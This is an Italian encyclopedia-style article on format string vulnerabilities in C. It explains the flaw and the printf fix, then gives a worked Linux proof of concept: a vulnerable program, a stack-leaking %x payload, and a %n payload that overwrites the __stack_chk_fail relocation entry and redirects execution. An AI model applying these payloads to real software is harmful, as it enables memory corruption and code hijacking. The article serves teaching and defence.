Format string attack

classe di vulnerabilità scoperte nel 1999

Il format string attack (vulnerabilità di formato della stringa) sono una classe di vulnerabilità scoperte nel 1999.

Funzionamento

Se si passa a una funzione che stampa una stringa a schermo, tipicamente una printf del linguaggio C, una stringa che in realtà contiene una serie di parametri di specifica dell'input (tipicamente si usano gli specificatori di formato %s e %x per esaminare il contenuto della memoria e %n per sovrascrivere parti della memoria, in particolare dello stack, si permette l'avvio di un'attacco di tipo stack overflow e return to libc). Per proteggersi da questo attacco, quando si vuole stampare una stringa s usando la printf() o un'altra funzione C che accetta un numero illimitato di specificatori di formato, bisogna scrivere la funzione

printf("%s",s) 

e non scrivere

printf(s)

in quanto in questo modo l'input dell'utente non viene validato. La stringa StringPointer potrebbe contenere una serie di specificatori di formato. Questo tipo di attacco, comunque, diventa sempre più difficile grazie alla diffusione di una maggiore consapevolezza della necessità di gestire i rischi associati alla programmazione e alla conseguente diffusione di tecniche di programmazione sicura.

Esempio (Linux)

Dato il seguente programma C (compilato con l'opzione -fstack-protector)

#include <stdio.h>

main(int argc, char *argv[])
{
	char buf[64];
	strcpy(buf,argv[1]);
	printf(buf);
};

sia 0x0804a010 l'indirizzo del record di rilocazione dinamica per la funzione __stack_chk_fail. Dopo aver verificato che l'inizio della stringa di formato è, nello stack, a 8 word (di 4 byte) di distanza dal puntatore a buf

# ./a.out `python -c 'print "AAAA" + "_0x%x"*8'`
AAAA_0xbffff9ad_0x0_0x0_0xbffff894_0x0_0x0_0x0_0x41414141

con

gdb --args ./a.out `python -c 'print "\x10\xa0\x04\x08" + "\x12\xa0\x04\x08" + "%16697x%8$n%9$n" + "A"*41 + "!"'`
[...]
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
  • scriviamo 2 word di 2 byte (16697 + 8 = 0x4141), agli indirizzi 0x0804a010 / 0x0804a012, specificati all'inizio della stringa di formato e raggiunti grazie a %8$n / %9$n
  • la chiamata a __stack_chk_fail viene attivata da "!" che sovrascrive il primo byte dello stack canary
  • 0x41414141 è in questo caso un indirizzo non valido, che genera quindi un Segmentation fault.

Collegamenti esterni

  Portale Sicurezza informatica: accedi alle voci di Wikipedia che trattano di Sicurezza informatica